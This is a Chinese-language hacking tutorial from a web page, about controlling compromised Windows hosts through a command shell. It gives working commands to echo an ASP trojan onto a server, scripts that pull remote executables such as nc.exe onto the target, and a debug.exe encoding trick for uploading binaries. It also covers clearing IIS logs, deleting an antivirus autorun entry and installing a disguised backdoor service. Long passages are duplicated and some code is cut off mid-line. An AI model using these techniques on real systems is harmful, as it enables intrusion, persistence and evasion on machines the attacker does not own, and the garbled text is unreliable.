Cmd模式下的入侵技術(shù)大全
發(fā)布時(shí)間:2009-08-08 22:46:15 作者:佚名
我要評論

Cmd Shell(命令行交互)是黑客永恒的話題,它歷史悠久并且長盛不衰?! ”疚闹荚诮榻B和總結(jié)一些在命令行下控制Windows系統(tǒng)的方法。這些方法都是盡可能地利用系統(tǒng)自帶的工具實(shí)現(xiàn)的?! ∥募鬏敗 τ谝绯?...
Cmd Shell(命令行交互)是黑客永恒的話題,它歷史悠久并且長盛不衰。
本文旨在介紹和總結(jié)一些在命令行下控制Windows系統(tǒng)的方法。這些方法都是盡可能地利用系統(tǒng)自帶的工具實(shí)現(xiàn)的。
文件傳輸
對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對ipc$的保護(hù),通過ipc$及默認(rèn)共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
1,用Echo命令寫ASP木馬。
前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個(gè)小巧的。
直接給出echo版:
@echo ^ >up.asp
注意,只有一行,中間沒有回車符。
生成的up.asp不能用瀏覽器訪問,只能用下面這個(gè)腳本:
with wscript
if .arguments.count
將其保存為up.vbs。假設(shè)目標(biāo)IP為123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的文件為nc.exe,上傳后保存為mm.exe,相應(yīng)的命令是:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
注意,這個(gè)命令是在本地命令行中執(zhí)行的,不要弄錯(cuò)了。另外,通過IIS上傳會(huì)留日志,要記得清除哦。
2,自動(dòng)下載到網(wǎng)頁緩存中。
例如:start its:http://www.sometips.com/soft/ps.exe
在遠(yuǎn)程shell中執(zhí)行上面這個(gè)命令后,ps.exe已經(jīng)下載到目標(biāo)主機(jī)的網(wǎng)頁緩存目錄中了。然后:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe
于是獲得ps.exe的具體位置(每臺(tái)主機(jī)都不一樣),如:
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄
2004-01-24 14:24 49,152 ps[1].exe
1 個(gè)文件 49,152 字節(jié)
最后:
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe
補(bǔ)充說明:
對于以服務(wù)為啟動(dòng)方式的后門所提供的shell,其用戶身份一般是System。此時(shí)網(wǎng)頁緩存目錄的位置就如例子中所示。如果shell的身份不是System,需要修改Default User為相應(yīng)的用戶名。
本方法會(huì)啟動(dòng)一個(gè)IE進(jìn)程,記得要將它殺掉。如果是System身份的shell,不會(huì)在本地出現(xiàn)窗口而暴露。
另外,用ms-its代替its效果完全一樣。
3,Echo一個(gè)腳本下載web資源。
現(xiàn)成的工具是iGet.vbs。我再給出一個(gè)含必要容錯(cuò)功能的版本。
仍然是echo版:
@echo with wscript:if .arguments.count^ dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:" web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
舉例--下載ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,這是在遠(yuǎn)程shell中執(zhí)行的。
4,Echo經(jīng)過編碼的任何文件,再用腳本 debug還原。
前面兩個(gè)辦法都不能保證穿過防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!
echo命令加重定向操作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位操作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過來不行。我花了兩天時(shí)間,還是沒能解決這個(gè)問題。如果有誰能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請賜教。)
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果--編碼腳本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs" vbcrlf "@echo """
next
.writeline """>>debug.vbs" vbcrlf "@echo with wscript.stdout:r=vbcrlf"_
":for i=1 to len(str) step 48:.write ""e"" hex(256 (i-1)/2)"_
":for j=i to i 46 step 2:.write "" "" mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx"" r """ hex(slh) """ r ""rcx"" r """ hex(sll)_
""" r ""n debug.tmp"" r ""w"" r ""q"" r:end with"_
">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:
cscript echo.vbs nc.exe
也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。
稍等一會(huì)兒,在當(dāng)前目錄下將生成一個(gè)nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內(nèi)容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo "504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo "002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo "70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000
本文旨在介紹和總結(jié)一些在命令行下控制Windows系統(tǒng)的方法。這些方法都是盡可能地利用系統(tǒng)自帶的工具實(shí)現(xiàn)的。
文件傳輸
對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對ipc$的保護(hù),通過ipc$及默認(rèn)共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
1,用Echo命令寫ASP木馬。
前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個(gè)小巧的。
直接給出echo版:
@echo ^ >up.asp
注意,只有一行,中間沒有回車符。
生成的up.asp不能用瀏覽器訪問,只能用下面這個(gè)腳本:
with wscript
if .arguments.count
將其保存為up.vbs。假設(shè)目標(biāo)IP為123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的文件為nc.exe,上傳后保存為mm.exe,相應(yīng)的命令是:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
注意,這個(gè)命令是在本地命令行中執(zhí)行的,不要弄錯(cuò)了。另外,通過IIS上傳會(huì)留日志,要記得清除哦。
2,自動(dòng)下載到網(wǎng)頁緩存中。
例如:start its:http://www.sometips.com/soft/ps.exe
在遠(yuǎn)程shell中執(zhí)行上面這個(gè)命令后,ps.exe已經(jīng)下載到目標(biāo)主機(jī)的網(wǎng)頁緩存目錄中了。然后:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe
于是獲得ps.exe的具體位置(每臺(tái)主機(jī)都不一樣),如:
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄
2004-01-24 14:24 49,152 ps[1].exe
1 個(gè)文件 49,152 字節(jié)
最后:
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe
補(bǔ)充說明:
對于以服務(wù)為啟動(dòng)方式的后門所提供的shell,其用戶身份一般是System。此時(shí)網(wǎng)頁緩存目錄的位置就如例子中所示。如果shell的身份不是System,需要修改Default User為相應(yīng)的用戶名。
本方法會(huì)啟動(dòng)一個(gè)IE進(jìn)程,記得要將它殺掉。如果是System身份的shell,不會(huì)在本地出現(xiàn)窗口而暴露。
另外,用ms-its代替its效果完全一樣。
3,Echo一個(gè)腳本下載web資源。
現(xiàn)成的工具是iGet.vbs。我再給出一個(gè)含必要容錯(cuò)功能的版本。
仍然是echo版:
@echo with wscript:if .arguments.count^ dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:" web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
舉例--下載ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,這是在遠(yuǎn)程shell中執(zhí)行的。
4,Echo經(jīng)過編碼的任何文件,再用腳本 debug還原。
前面兩個(gè)辦法都不能保證穿過防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!
echo命令加重定向操作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位操作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過來不行。我花了兩天時(shí)間,還是沒能解決這個(gè)問題。如果有誰能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請賜教。)
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果--編碼腳本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs" vbcrlf "@echo """
next
.writeline """>>debug.vbs" vbcrlf "@echo with wscript.stdout:r=vbcrlf"_
":for i=1 to len(str) step 48:.write ""e"" hex(256 (i-1)/2)"_
":for j=i to i 46 step 2:.write "" "" mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx"" r """ hex(slh) """ r ""rcx"" r """ hex(sll)_
""" r ""n debug.tmp"" r ""w"" r ""q"" r:end with"_
">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:
cscript echo.vbs nc.exe
也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。
稍等一會(huì)兒,在當(dāng)前目錄下將生成一個(gè)nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內(nèi)容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo "504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo "002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo "70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000
000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
............
............(省略若干行)
............
@echo "">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e" hex(256 (i-1)/2):for j=i to i 46 step 2:.write " " mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx" r "0" r "rcx" r "E800" r "n debug.tmp" r "w" r "q" r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。
如果網(wǎng)速不是很慢的話,整個(gè)上傳過程大約需要20秒。
幾點(diǎn)說明:
1,大的文件傳輸不穩(wěn)定,可能會(huì)使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
2,在傳輸大文件前,可以先傳個(gè)小的文件作為"熱身",讓16位虛擬機(jī)ntvdm.exe駐留后臺(tái)。所有文件傳完后,為隱蔽起見,應(yīng)該把ntvdm進(jìn)程殺掉。
3,某些cmd shell每個(gè)命令都需要附加兩個(gè)回車,那nc.exe.bat就不能直接用了。
4,單個(gè)命令的長度是有限的,所以不能只用一個(gè)echo完成全部任務(wù)。而且,對于nc提供的cmd shell,稍長一些的命令竟然會(huì)使shell自動(dòng)退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調(diào)整每個(gè)echo命令的長度。每次echo的字符為這個(gè)數(shù)乘以2。
5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因?yàn)閴嚎s了數(shù)據(jù))。如果有時(shí)間,我會(huì)寫一個(gè)更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗(yàn)功能。
能上傳文件當(dāng)然一切都好辦了,但很多操作用Windows自帶的工具更方便。在你到處尋找需要的工具時(shí),不要忘了Windows本身。
系統(tǒng)配置
這節(jié)包括三方面內(nèi)容:注冊表、服務(wù)和組策略。
先說注冊表。很多命令行下訪問注冊表的工具都是交互式的,溢出產(chǎn)生的shell一般不能再次重定向輸入/輸出流,所以無法使用。
好在系統(tǒng)自帶的regedit.exe足夠用了。
1,讀取注冊表
先將想查詢的注冊表項(xiàng)導(dǎo)出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以終端服務(wù)的端口是3389(十六進(jìn)制d3d)
2,修改/刪除注冊表項(xiàng)
先echo一個(gè)reg文件,然后導(dǎo)入,比如:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
將telnet服務(wù)端口改為2323(十六進(jìn)制913),NTLM認(rèn)證方式為1。
要?jiǎng)h除一個(gè)項(xiàng),在名字前面加減號(hào),比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要?jiǎng)h除一個(gè)值,在等號(hào)后面用減號(hào),比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3,用inf文件訪問注冊表
上面對注冊表的三個(gè)操作,也可以用下面這個(gè)inf文件來實(shí)現(xiàn):
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
將它寫入c:\path\reg.inf然后用下面這個(gè)命令"安裝":
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
幾點(diǎn)說明:
1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個(gè)。My_AddReg_Name和My_DelReg_Name可以自定義。
0x00010001表示REG_DWORD數(shù)據(jù)類型,0x00000000或省略該項(xiàng)(保留逗號(hào))表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
關(guān)于inf文件的詳細(xì)信息,可以參考DDK幫助文檔。
2,InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個(gè)逗號(hào),沒有空格。
128表示給定路徑,該參數(shù)其他取值及含義參見MSDN。
特別注意,最后一個(gè)參數(shù),必須是inf文件的全路徑,不要用相對路徑。
3,inf文件中的項(xiàng)目都是大小寫不敏感的。
接下來說服務(wù)。如果想啟動(dòng)或停止服務(wù),用net命令就可以。但想增加或刪除服務(wù),需要用SC,instsrv.exe,xnet.exe等工具。而這些工具系統(tǒng)沒有自帶(XP和2003自帶SC)。導(dǎo)入注冊表雖然可以,但效果不好,原因后面會(huì)提到。還是得靠inf文件出馬。
增加一個(gè)服務(wù):
[Version]
Si
gnature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供對 Internet 信息服務(wù)管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary= %\inetsvr.exe
............
............(省略若干行)
............
@echo "">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e" hex(256 (i-1)/2):for j=i to i 46 step 2:.write " " mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx" r "0" r "rcx" r "E800" r "n debug.tmp" r "w" r "q" r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。
如果網(wǎng)速不是很慢的話,整個(gè)上傳過程大約需要20秒。
幾點(diǎn)說明:
1,大的文件傳輸不穩(wěn)定,可能會(huì)使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
2,在傳輸大文件前,可以先傳個(gè)小的文件作為"熱身",讓16位虛擬機(jī)ntvdm.exe駐留后臺(tái)。所有文件傳完后,為隱蔽起見,應(yīng)該把ntvdm進(jìn)程殺掉。
3,某些cmd shell每個(gè)命令都需要附加兩個(gè)回車,那nc.exe.bat就不能直接用了。
4,單個(gè)命令的長度是有限的,所以不能只用一個(gè)echo完成全部任務(wù)。而且,對于nc提供的cmd shell,稍長一些的命令竟然會(huì)使shell自動(dòng)退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調(diào)整每個(gè)echo命令的長度。每次echo的字符為這個(gè)數(shù)乘以2。
5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因?yàn)閴嚎s了數(shù)據(jù))。如果有時(shí)間,我會(huì)寫一個(gè)更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗(yàn)功能。
能上傳文件當(dāng)然一切都好辦了,但很多操作用Windows自帶的工具更方便。在你到處尋找需要的工具時(shí),不要忘了Windows本身。
系統(tǒng)配置
這節(jié)包括三方面內(nèi)容:注冊表、服務(wù)和組策略。
先說注冊表。很多命令行下訪問注冊表的工具都是交互式的,溢出產(chǎn)生的shell一般不能再次重定向輸入/輸出流,所以無法使用。
好在系統(tǒng)自帶的regedit.exe足夠用了。
1,讀取注冊表
先將想查詢的注冊表項(xiàng)導(dǎo)出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以終端服務(wù)的端口是3389(十六進(jìn)制d3d)
2,修改/刪除注冊表項(xiàng)
先echo一個(gè)reg文件,然后導(dǎo)入,比如:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
將telnet服務(wù)端口改為2323(十六進(jìn)制913),NTLM認(rèn)證方式為1。
要?jiǎng)h除一個(gè)項(xiàng),在名字前面加減號(hào),比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要?jiǎng)h除一個(gè)值,在等號(hào)后面用減號(hào),比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3,用inf文件訪問注冊表
上面對注冊表的三個(gè)操作,也可以用下面這個(gè)inf文件來實(shí)現(xiàn):
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
將它寫入c:\path\reg.inf然后用下面這個(gè)命令"安裝":
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
幾點(diǎn)說明:
1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個(gè)。My_AddReg_Name和My_DelReg_Name可以自定義。
0x00010001表示REG_DWORD數(shù)據(jù)類型,0x00000000或省略該項(xiàng)(保留逗號(hào))表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
關(guān)于inf文件的詳細(xì)信息,可以參考DDK幫助文檔。
2,InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個(gè)逗號(hào),沒有空格。
128表示給定路徑,該參數(shù)其他取值及含義參見MSDN。
特別注意,最后一個(gè)參數(shù),必須是inf文件的全路徑,不要用相對路徑。
3,inf文件中的項(xiàng)目都是大小寫不敏感的。
接下來說服務(wù)。如果想啟動(dòng)或停止服務(wù),用net命令就可以。但想增加或刪除服務(wù),需要用SC,instsrv.exe,xnet.exe等工具。而這些工具系統(tǒng)沒有自帶(XP和2003自帶SC)。導(dǎo)入注冊表雖然可以,但效果不好,原因后面會(huì)提到。還是得靠inf文件出馬。
增加一個(gè)服務(wù):
[Version]
Si
gnature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供對 Internet 信息服務(wù)管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary= %\inetsvr.exe
相關(guān)文章
封UDP的服務(wù)器真的打不了么?封UDP、封海外服務(wù)器
很多游戲服務(wù)器租用的時(shí)候會(huì)出現(xiàn)一些封UDP的字眼,網(wǎng)上一些文章也說UDP協(xié)議不可靠!為什么要封UDP呢?既然不可靠,為什么有些人還要使用它呢?今天與你們分享一下UDP,希望2024-05-07魔獸世界服務(wù)器被DDoS攻擊怎么辦?DDoS攻擊防御方法
魔獸世界服務(wù)器被攻擊在目前來說也是比較常見的,同行競爭激烈,在官服開放時(shí)也遇到過DDOS攻擊,要是飛飛沒記錯(cuò)是在22年9月14日,從剛開始的身份驗(yàn)證服務(wù)器出現(xiàn)問題,到確2023-07-17分享五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(IDS)工具
這篇文章主要分享一下五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(IDS)工具,當(dāng)前企業(yè)對于網(wǎng)絡(luò)安全越來越重視,那么后期可能就需要大家多多關(guān)注一些安全工具的使用于檢測2019-12-01網(wǎng)絡(luò)安全基礎(chǔ)之網(wǎng)絡(luò)協(xié)議與安全威脅的關(guān)系介紹
網(wǎng)絡(luò)協(xié)議是什么呢?網(wǎng)絡(luò)協(xié)議是網(wǎng)絡(luò)中計(jì)算機(jī)或設(shè)備之間進(jìn)行通信的一系列規(guī)則集合。本文中小編介紹的是網(wǎng)絡(luò)協(xié)議和安全威脅的關(guān)系,需要的朋友不妨閱讀本文了解一下2019-04-02DDoS攻擊原理是什么?DDoS攻擊原理及防護(hù)措施介紹
DDoS攻擊是由DoS攻擊轉(zhuǎn)化的,這項(xiàng)攻擊的原理以及表現(xiàn)形式是怎樣的呢?要如何的進(jìn)行防御呢?本文中將會(huì)有詳細(xì)的介紹,需要的朋友不妨閱讀本文進(jìn)行參考2019-01-15基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備介紹
本文中介紹的是基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備,感興趣的朋友不妨閱讀本文進(jìn)行了解2019-01-11為何黑客要挾制路由器DNS 用戶該怎樣實(shí)時(shí)發(fā)覺和防備方法
起首說說挾制路由器是什么意思,路由器挾制平日指的是,開啟了無線網(wǎng)絡(luò)功效的無線路由器,攻擊者經(jīng)由過程破解無線暗碼銜接上無線網(wǎng)后,再登錄路由治理界面來節(jié)制全部無線網(wǎng)2018-05-16大勢至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)
這篇文章主要介紹了大勢至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)置方法詳解,,小編覺得還是挺不錯(cuò)的,具有一定借鑒價(jià)值,下面就來和小編一起看看2018-01-25詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密
這篇文章主要介紹了詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密,如何保護(hù)sd卡文件的安全,如何給SD卡設(shè)置密碼、如何給SD卡加密,下面就跟小編一起來看看吧2018-01-19server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法
這篇文章主要介紹了server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法詳細(xì)介紹,保護(hù)服務(wù)器共享文件設(shè)置訪問權(quán)限,讓每個(gè)部門只訪問自己的共享文件等,2018-01-19